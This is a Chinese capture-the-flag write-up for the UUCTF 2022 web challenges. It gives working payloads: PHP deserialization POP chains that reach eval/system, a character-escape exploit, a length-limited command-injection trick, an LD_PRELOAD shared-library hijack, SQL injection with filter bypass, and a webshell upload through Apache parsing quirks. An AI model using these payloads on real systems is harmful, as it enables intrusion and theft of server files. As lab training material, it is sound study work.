0%

UUCTF_2022新生赛(web)WP

UUCTF_2022新生赛web方向WP

ezpop

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//flag in flag.php
error_reporting(0);
class UUCTF{
public $name,$key,$basedata,$ob;
function __construct($str){
$this->name=$str;
}
function __wakeup(){
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}
else{
die("oh!you should learn PHP unserialize String escape!");
}
}
}
class output{
public $a;
function __toString(){
$this->a->rce();
}
}
class nothing{
public $a;
public $b;
public $t;
function __wakeup(){
$this->a="";
}
function __destruct(){
$this->b=$this->t;
die($this->a);
}
}
class youwant{
public $cmd;
function rce(){
eval($this->cmd);
}
}
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

一道反序列化链题目
首先要找到反序列化链,我们最终要执行的是youwant类中的eval函数,就要执行rce这个方法
rce这个方法在output类中的__toString()方法调用,__toString()要怎么调用呢
在nothing类中有die函数,这个函数执行的时候就回调用__toString()。
但是nothing类中有wakeup魔法函数,他会重置,我们想要绕过,但是之前常用的方法在这里不能用
原因是__wakeup () 绕过漏洞存在的版本需要满足 PHP5 < 5.6.25 PHP7 < 7.0.10
但是这里给了我们一个解决方法,__destruct()中除了die函数,还有一个$this->b=$this->t;
既然a会被重置,但是这里b又会被赋值,那只要把a和b的地址公用就可以了,这样b被修改的时候,a也会被修改
pop链: youwant:rce() -> output:tostring() -> nothing:__destruct()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd;
}

$a = new youwant();
$a -> cmd = 'system("ls")';
$b = new output();
$b -> a = $a;
$c = new nothing();
$c -> a = &$c -> b;
$c -> t = $b;
echo serialize($c);
?>

O:7:"nothing":3:{s:1:"a";N;s:1:"b";R:2;s:1:"t";O:6:"output":1:{s:1:"a";O:7:"youwant":1:{s:3:"cmd";s:3:"system("ls");";}}}

上面的结果是不考虑后面的代码

1
2
3
4
5
6
7
8
9
10
$pdata=$_POST["data"];
if(isset($pdata))
{
$data=serialize(new UUCTF($pdata));
$data_replace=str_replace("hacker","loveuu!",$data);
unserialize($data_replace);
}else{
highlight_file(__FILE__);
}
?>

我们上面构造的序列化的是nothing类,但是这里序列化的是UUCTF类,所以要进行反序列化字符逃逸
因为UUCTF这个类明显是无法达到我们的目的的。
但是在这个类中

1
2
3
if($this->key==="UUCTF"){
$this->ob=unserialize(base64_decode($this->basedata));
}

这里也有反序列化操作,所以如果让这里的basedata为我们上面构造的base64编码
然后这个是在wakeup中,在最后代码中的unserialize($data_replace);中反序列化后wakeup就会执行。
所以我们可以构造

1
2
3
4
5
6
7
8
9
10
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
}
$a = new UUCTF();
$a->key="UUCTF";
$a->basedata = "Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";
echo serialize($a);

O:5:"UUCTF":4:{s:4:"name";N;s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

这个结果才是我们想要的,但是在最后的代码中$data=serialize(new UUCTF($pdata));
这里的$pdata控制的是name,但是为了能够调用eval函数,就必须让basedata是我们上面构造的序列化字符,UUCTF类的key也必须是”UUCTF”,所以我们要进行字符逃逸。
字符串逃逸又是什么呢?
在最后的代码中实行$data_replace=str_replace("hacker","loveuu!",$data);每次会把hacker 替换成loveuu! 6个字符替换成了7个字符,但是序列化字符串格式前面的个数是没变的,替换就会长度不匹配导致反序列化操作失败
题目中的序列化字符串的基本形式是
O:5:”UUCTF”:4:{s:4:”name”;s:3:”abc”;s:3:”key”;N;s:8:”basedata”;N;s:2:”ob”;N;}
我们能控制的只有name
上面我们构造的第二个序列化结果中name后面的是

1
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

比如一共是262个字符(后面用strlen计算),因为我们每有一个hacker就会让替换后的字符多1,所以我们构造262个hacker
262+6*262=7*262=1834
还记得我们最开始构造UUCTF类的结果吗,现在我们拆成3个部分

1
2
3
4
5
6
7
8
#第一部分
O:5:"UUCTF":4:{s:4:"

#第二部分
name

#第三部分
";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;}

我这么拆分的意义也很明显了,就是让name变成替换的hacker
替换之后就是

1
2
O:5:"UUCTF":4:{s:4:"name";s:1834:"262 个 hacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";s:164:"Tzo3OiJub3RoaW5nIjozOntzOjE6ImEiO047czoxOiJiIjtSOjI7czoxOiJ0IjtPOjY6Im91dHB1dCI6MTp7czoxOiJhIjtPOjc6InlvdXdhbnQiOjE6e3M6MzoiY21kIjtzOjEzOiJzeXN0ZW0oImxzIik7Ijt9fX0=";s:2:"ob";N;} s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}

反序列化函数看到;} 就当作结束符号,后面的都会忽略掉
完整的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class UUCTF{
public $name,$key,$basedata,$ob;
}
class output{
public $a;
}
class nothing{
public $a;
public $b;
public $t;
}
class youwant{
public $cmd;
}

$a = new youwant();
$a->cmd = 'system("ls");';
$b = new output();
$b->a = $a;
$c = new nothing();
$c->a = &$c->b;
$c->t = $b;
$basedata = base64_encode(serialize($c));

$post='";s:3:"key";s:5:"UUCTF";s:2:"ob";N;s:8:"basedata";s:'.strlen($basedata).':"'.$basedata.'";}';
for($i=0;$i<strlen($post);$i++)
{
$hacker=$hacker.'hacker';

}
echo $hacker.$post;

然后用post发送data数据

那只要把前面的ls 指令改成cat flag命令就可以得到flag 但是这里要用tac 不知道为什么
参考: [UUCTF 2022 新生赛] ezpop 详细题解 (字符串逃逸)
这道题出的还是很好的,就是反序列化链和字符串逃逸,我也是第一次做字符串逃逸,这道题还是挺适合入门的,值得研究
字符增多逃逸:第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性,构造出一个逃逸成员属性

字符减少逃逸:第一个字符串减少,吃掉有效代码,在第二个字符串构造代码,多逃逸出一个成员属性

funmd5

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(0);
include "flag.php";
$time=time();
$guessmd5=md5($time);
$md5=$_GET["md5"];
if(isset($md5)){
$sub=substr($time,-1);
$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
if(preg_match('/0e/',$md5[0])){
$md5[0]=substr($md5[0],$sub);
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){
echo "well!you win again!now flag is yours.<br>";
echo $flag;
}
else{
echo $md5[0];
echo "oh!no!maybe you need learn more PHP!";
}
}
else{
echo "this is your md5:$md5[0]<br>";
echo "maybe you need more think think!";
}
}
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
4a175
plase give me the md5!

这里的正则是过滤了科学计数法。如果 md5 以 0e 形式出现,则替换 0e 为 no_science_notation!
$sub 取 $time 的最后一位数字。
然后判断 $md5[0] 是否包含 0e,如果是,则进入处理逻辑。
$md5[0] 截取 $sub 位置后的字符串。
if($md5[0]==md5($md5[0])&&$md5[1]===$guessmd5){ 前面一个是弱比较 后面一个是严格比较

所以我们的md5要满足两个条件
md5[0] == md5(md5[0])
需要找到一个 MD5 碰撞值,满足 md5($input) 生成 0e 形式的哈希值,使 md5($input) == $input 成立。
md5[1] === $guessmd5
$md5[1]需要等于 md5($time)

1
2
3
4
5
6
7
8
9
else{
highlight_file(__FILE__);
$sub=strlen($md5[0]);
echo substr($guessmd5,0,5)."<br>";
echo "plase give me the md5!";
}
?>
4a175
plase give me the md5!

这部分给出了$guessmd5的前5位是4a175

现在一步步分析, 如果要满足$md5[0]==md5($md5[0]) 可以选择0e215962017,但是刚才说有一个0e的替换
现在分析如果绕过$md5=preg_replace('/^(.*)0e(.*)$/','${1}no_science_notation!${2}',$md5);
先理解这个正则的替换规则

1
在 Python 正则表达式中,"." 表示匹配除了换行符之外的任意单个字符,"*" 表示匹配前面的字符零次或多次。因此,".*" 表示匹配任意长度的字符序列,这也被称为贪婪匹配 (greedy matching)

所以注意到这个除了换行符以外,如果在0e之前是一个换行符,那这个正则就匹配不到了,所以用%0a0e215962017
然后$md5[0]=substr($md5[0],$sub);这里会对我们的输入截取,所以让$sub= 1 就可以绕过
最后一个满足的条件是$md5[1]===$guessmd5 那就可以用脚本发送请求包,然后让md5碰撞相等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
import time
import requests
import concurrent.futures //多线程

URL = "http://node5.anna.nssctf.cn:24604/?md5[0]=%0a0e215962017&md5[1]={}"

def check_md5(t):
md5_value = hashlib.md5(str(t).encode()).hexdigest()
url = URL.format(md5_value)
try:
resp = requests.get(url, timeout=2)
if "win" in resp.text:
print(f"Success! Time: {t}, MD5: {md5_value}")
print(resp.text)
return True
except requests.exceptions.RequestException:
pass
return False

def guess_md5():
while True:
current_time = int(time.time())
times_to_try = [current_time, current_time - 1, current_time + 1]

with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
results = executor.map(check_md5, times_to_try)
if any(results):
break # 如果成功,停止爆破

guess_md5()



Success! Time: 1740057131, MD5: a98e4d04c331353cd0f2e59ade3a687c
well!you win again!now flag is yours.<br>NSSCTF{d6652175-9bbd-4810-9c85-2c73685557c3}
(base) kakeru@bogon python % python -u "/Users/kakeru/python/web/funmd5.py"
/Users/kakeru/Library/Python/3.9/lib/python/site-packages/urllib3/__init__.py:35: NotOpenSSLWarning: urllib3 v2 only supports OpenSSL 1.1.1+, currently the 'ssl' module is compiled with 'LibreSSL 2.8.3'. See: https://github.com/urllib3/urllib3/issues/3020
warnings.warn(
Success! Time: 1740057131, MD5: a98e4d04c331353cd0f2e59ade3a687c
well!you win again!now flag is yours.<br>NSSCTF{d6652175-9bbd-4810-9c85-2c73685557c3}

ezrce


随便输入一条命令,跳转到post.php 然后提示命令已在./tmp/ 目录下成功执行
准备输入ping -c2 192.168.112.11 验证命令是否执行,但是返回你也太长了吧,删除你的 tmp 目录了
然后可以逐渐增加命令长度,最终得出命令长度的限制是6
这里要了解几个linux中的知识,*会把目录中的第一个匹配到的文件名当作命令 剩下的文件名当作参数执行

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kakeru)-[~/tmp/web]
└─# >nl
^C
┌──(root㉿kakeru)-[~/tmp/web]
└─# ls
nl
┌──(root㉿kakeru)-[~/tmp/web]
└─# >a
^C
┌──(root㉿kakeru)-[~/tmp/web]
└─# *
a: command not found

这里就是创建了一个nl文件,用*就回执行nl指令,然后剩下的a当作参数执行
那现在这个命令长度限制的问题已经解决了,现在如何解决没有回显的问题呢?
用到的是重定向符>这个可以把输出重定向一个文件中,因为题目告诉我们了目录是tmp所以我们可以访问/tmp的文件
比如我现在用ls命令看现在根文件夹下面有什么 ls >a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

现在知道了flag的位置,就可以用*的方法查看文件了

1
2
3
4
5
>cat  #创建一个cat文件,利用文件名执行命令

* /*>b # 执行cat命令读根目录下面所有的文件重定向到b文件里

http://node5.anna.nssctf.cn:20381/tmp/b #访问b得到flag

phonecode


随便输入之后跳转到login.php

1
2
Hint :503573603
Fool!

但是我换了输入之后这个hint也跟着变了
这题完全不懂,看了别的wp知道这个是随机数
mt_srand()
作用:mt_srand(seed) 用于 初始化随机数生成器,其中 seed 是随机数种子。
影响:如果使用相同的 seed,那么后续调用 mt_rand() 生成的随机数 始终相同。

1
2
3
4
5
6
7
<?php
mt_srand(1); // 设置随机数种子
echo mt_rand()."\n"; // 生成第一个随机数
echo mt_rand()."\n"; // 生成第二个随机数

895547922
2141438069

每次运行之后的结果都是这两个数字不会变,所以只要固定种子,随机出来的值就是固定的
这里的phone就是种子 因为显示的是第一个随机数,那就把第二数当作验证码发送就可以得到flag

uploadandinject

通过这道题,学习一下什么是LD_preload :

LD_PRELOAD 是 Linux 系统中的一个环境变量,用于在程序运行时动态加载指定的共享库。LD_PRELOAD 的作用是在程序运行前,将指定的共享库加载到程序的内存中。这样,程序在运行时会优先使用该共享库中的符号,而不是系统默认的符号。LD_PRELOAD 可以用于替换程序本身的函数,增加程序的功能或者调试程序。

如果能控制LD_PRELOAD,就可以让程序加载我们的函数,替代原来的函数,达到攻击目的

看题目

这是一个查看图片的程序,根据提示先去hint.php里面看有什么

nothing here,but I think you look look JPG,index's swp

说明有一个index的swp交换文件 (swp文件是用vim这个编辑器意外推出或者崩溃时候的未保存的文件),可以通过这个文件泄漏出有用的信息。

这题的主页地址是index.php 根据swp的命名规则这个swp就在.index.php.swp

可以直接在本地下载下来,我就用kali中的curl下载下来,然后用vim -r恢复并且查看内容

这里用了putenv指定了LD_PRELOAD 那我们可以自己上传.so文件,把LD_PRELOAD设置成上传的.so文件(.so文件就是一种共享库文件,可以写完程序后编译成这个格式)

利用代码 (网上可以搜到

用strcpy的原因是上面的swp中的程序用到了system函数,system又有用管道strcpy这个函数,所以修改strcpy,调用system的时候就会因为执行恶意的strcpy从而执行payload函数中的功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("cat /f*");
}

char *strcpy(char *dest, const char *src) { //需要搜索查看函数的原型
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

编译

gcc -shared -fPIC -Wall hacker.c -o hacker.so

1
2
3
4
5
6
7
┌──(root㉿kakeru)-[~/tmp]
└─# x86_64-linux-gnu-gcc -shared -fPIC -Wall hacker.c -o hacker.so
hacker.c: In function ‘strcpy’:
hacker.c:16:1: warning: control reaches end of non-void function [-Wreturn-type]
16 | }
| ^

下一步就是找到上传的地址,随便用一个目录扫描工具找到上传地址/upload/upload.php

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# dirsearch -u http://node5.anna.nssctf.cn:25596/upload/
[16:41:42] 200 - 277B - /upload/upload.php

然后因为上传只允许图格式,其实没影响,那就把hacker.so改成hacker.so.jpg后缀不影响解析

然后在主页访问上传的图片就得到了flag

websign


提示看源码,但是这里f12和右键都被禁用了,可以在url修改,加上view-source:就可以了

ezsql


通过这里的回显可以看到是什么过滤了
通过输入几个常见的字符,发现or from ro 被过滤,而且输入的内容会倒序输出
这里过滤了这些关键字,但是其实是替换成空格,用双写绕过就可以,然后可以自己写一个python脚本反转就可以

1
2
3
for i in range(100):
s = input("输入字符");
print (s[::-1])

双写绕过示例:

1
2
3
4
5
6
输入字符from
morf

payload:mofromrf
your sql:SELECT * FROM users WHERE passwd=('from') AND username=('') LIMIT 0,1
false

我们先倒序输入想要执行的被过滤的命令,然后在中间插入被过滤的指令,这样子中间的会被过滤,最后就能拼接出指令
后面就用正常的sql思路了 (中间自行用双写绕过)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1.爆库
输入字符1') union select 1,database()#
#)(esabatad,1 tceles noinu )'1
Your Login name:1
Your Password:UUCTF

2.爆表
输入字符1') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
#;)(esabatad=amehcs_elbat erehw selbat.amehcs_noitamrofni morf )eman_elbat(tacnoc_puorg,1 tceles noinu )'1
Your Login name:1
Your Password:flag,users

3.爆字段
输入字符1') union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
#'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni morf )eman_nmuloc(tacnoc_puorg,1 tceles noinu )'1
your sql:SELECT * FROM users WHERE passwd=('1') union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#') AND username=('') LIMIT 0,1
Your Login name:1
Your Password:UUCTF

4.爆值
输入字符1') union select 1,group_concat('UUCTF') from UUCTF.flag#
#galf.FTCUU morf )FTCUU(tacnoc_puorg,1 tceles noinu )'1

ez_upload


先随便上传一个普通的一句话木马看看有什么限制

先是怀疑只是在前端做校验,然后用bp修改后缀试试。但是还是这个
然后用插件检测一下服务器,发现是apache,那就用.htaccess文件,这个文件是apache服务的一个解析配置文件
我们让这个目录下的.jpg文件都解析成php文件

1
2
3
4
5
6
7
#.htaccess


<FilesMatch "/.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>

但是上传这个文件发现也被过滤,还有一个和这个功能类似的配置文件叫做.user.ini,可以上传

1
auto_prepend_file=1.jpg

这个配置文件的意思是每个php文件在执行之前都会包含1.jpg这个文件,并且当作php执行,但是这里没有什么可以执行的php文件
看其他大佬的wp学习到了原来是要用apache解析漏洞
Apache 解析漏洞主要是因为 Apache 默认一个文件可以有多个用。分割得后缀,当最右边的后缀无法识别(mime.types 文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准)
所以我们可以修改一个不合法的后缀,比如这个文件名改成2.php.aaa这样子解析的时候就会解析成php文件
但是还要注意用bp修改一下MIME 修改成jpg格式绕过MIME检测

发现成功上传 文件存储在: upload/2.php.aaa.php
然后可以用蚁剑连接找到flag了

ez_unser

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
public $a;
public $b;
public $c;
public function __construct(){
$this->a=1;
$this->b=2;
$this->c=3;
}
public function __wakeup(){
$this->a='';
}
public function __destruct(){
$this->b=$this->c;
eval($this->a);
}
}
$a=$_GET['a'];
if(!preg_match('/test":3/i',$a)){
die("你输入的不正确!!!搞什么!!");
}
$bbb=unserialize($_GET['a']);
你输入的不正确!!!搞什么!!

最终我们想执行eval($this->a);我们就让$this -> a成为我们想要执行的命令
但是这里的wakeup会把a重新赋值,之前绕过wakeup的方法是修改序列化中的变量个数,但是这里多了限制,不让修改
这里利用的是$this->b=$this->c,php中如果两个变量同时指向一个地址也可以绕过wakeup,和ezpop中的绕过方法一样
原理就是我们让b指向a的地址,b值修改的时候,因为公用一片内存就回让a的值也变了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class test{
public $a;
public $b;
public $c;
}

$x = new test();
$x -> b = &$x -> a;
$x -> c = "system('cat /f*');";

echo serialize($x);

O:4:"test":3:{s:1:"a";N;s:1:"b";R:2;s:1:"c";s:18:"system('cat /f*');";}

然后get传入这个序列化字符串就行